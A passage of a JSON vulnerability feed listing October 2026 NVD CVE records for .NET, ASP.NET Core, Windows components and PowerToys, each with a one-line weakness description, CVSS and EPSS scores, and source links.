fixes.","publishedAt":"2026-10-13T19:22:00.310Z","updatedAt":"2026-10-16T16:22:56.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96862","asOf":"2026-10-16T16:22:56.407Z"},"epss":{"probability":0.00318,"percentile":0.2452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96862","type":"primary","publishedAt":"2026-10-13T19:22:00.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96861","cveId":"CVE-2026-96861","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:00.163Z","updatedAt":"2026-10-13T20:19:24.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96861","asOf":"2026-10-13T20:19:24.950Z"},"epss":{"probability":0.01149,"percentile":0.66637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96861","type":"primary","publishedAt":"2026-10-13T19:22:00.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96237","cveId":"CVE-2026-96237","aliases":[],"kind":"vulnerability","title":"Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network.","summary":"Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network.","detail":"Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:49.587Z","updatedAt":"2026-10-22T22:19:56.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96237","asOf":"2026-10-22T22:19:56.620Z"},"epss":{"probability":0.00638,"percentile":0.50279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96237","type":"primary","publishedAt":"2026-10-13T19:21:49.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96236","cveId":"CVE-2026-96236","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:49.460Z","updatedAt":"2026-10-13T20:19:15.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96236","asOf":"2026-10-13T20:19:15.027Z"},"epss":{"probability":0.01086,"percentile":0.65037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96236","type":"primary","publishedAt":"2026-10-13T19:21:49.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96235","cveId":"CVE-2026-96235","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:49.343Z","updatedAt":"2026-10-22T22:19:56.437Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96235","asOf":"2026-10-22T22:19:56.437Z"},"epss":{"probability":0.00859,"percentile":0.58221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96235","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96235","type":"primary","publishedAt":"2026-10-13T19:21:49.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96233","cveId":"CVE-2026-96233","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:49.083Z","updatedAt":"2026-10-22T22:19:56.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96233","asOf":"2026-10-22T22:19:56.170Z"},"epss":{"probability":0.00991,"percentile":0.62285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96233","type":"primary","publishedAt":"2026-10-13T19:21:49.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96232","cveId":"CVE-2026-96232","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.960Z","updatedAt":"2026-10-22T22:19:56.053Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96232","asOf":"2026-10-22T22:19:56.053Z"},"epss":{"probability":0.00895,"percentile":0.59281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96232","type":"primary","publishedAt":"2026-10-13T19:21:48.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96231","cveId":"CVE-2026-96231","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.843Z","updatedAt":"2026-10-22T22:19:55.937Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96231","asOf":"2026-10-22T22:19:55.937Z"},"epss":{"probability":0.00411,"percentile":0.35026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96231&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96231","type":"primary","publishedAt":"2026-10-13T19:21:48.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96231&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96231, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96230","cveId":"CVE-2026-96230","aliases":[],"kind":"vulnerability","title":"Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network.","summary":"Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network.","detail":"Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.720Z","updatedAt":"2026-10-22T22:19:55.823Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96230","asOf":"2026-10-22T22:19:55.823Z"},"epss":{"probability":0.00946,"percentile":0.60852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96230","type":"primary","publishedAt":"2026-10-13T19:21:48.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96230, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96225","cveId":"CVE-2026-96225","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.480Z","updatedAt":"2026-10-22T22:19:55.583Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96225","asOf":"2026-10-22T22:19:55.583Z"},"epss":{"probability":0.00411,"percentile":0.35027,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96225","type":"primary","publishedAt":"2026-10-13T19:21:48.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96224","cveId":"CVE-2026-96224","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.333Z","updatedAt":"2026-10-22T22:19:55.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96224","asOf":"2026-10-22T22:19:55.430Z"},"epss":{"probability":0.00759,"percentile":0.54967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96224","type":"primary","publishedAt":"2026-10-13T19:21:48.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96202","cveId":"CVE-2026-96202","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:46.520Z","updatedAt":"2026-10-13T20:19:12.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96202","asOf":"2026-10-13T20:19:12.407Z"},"epss":{"probability":0.0093,"percentile":0.60336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96202","type":"primary","publishedAt":"2026-10-13T19:21:46.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96188","cveId":"CVE-2026-96188","aliases":[],"kind":"vulnerability","title":"External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally.","summary":"External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally.","detail":"External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:46.393Z","updatedAt":"2026-10-13T20:19:12.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96188","asOf":"2026-10-13T20:19:12.270Z"},"epss":{"probability":0.00376,"percentile":0.31276,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96188","type":"primary","publishedAt":"2026-10-13T19:21:46.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96108","cveId":"CVE-2026-96108","aliases":[],"kind":"vulnerability","title":"Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of 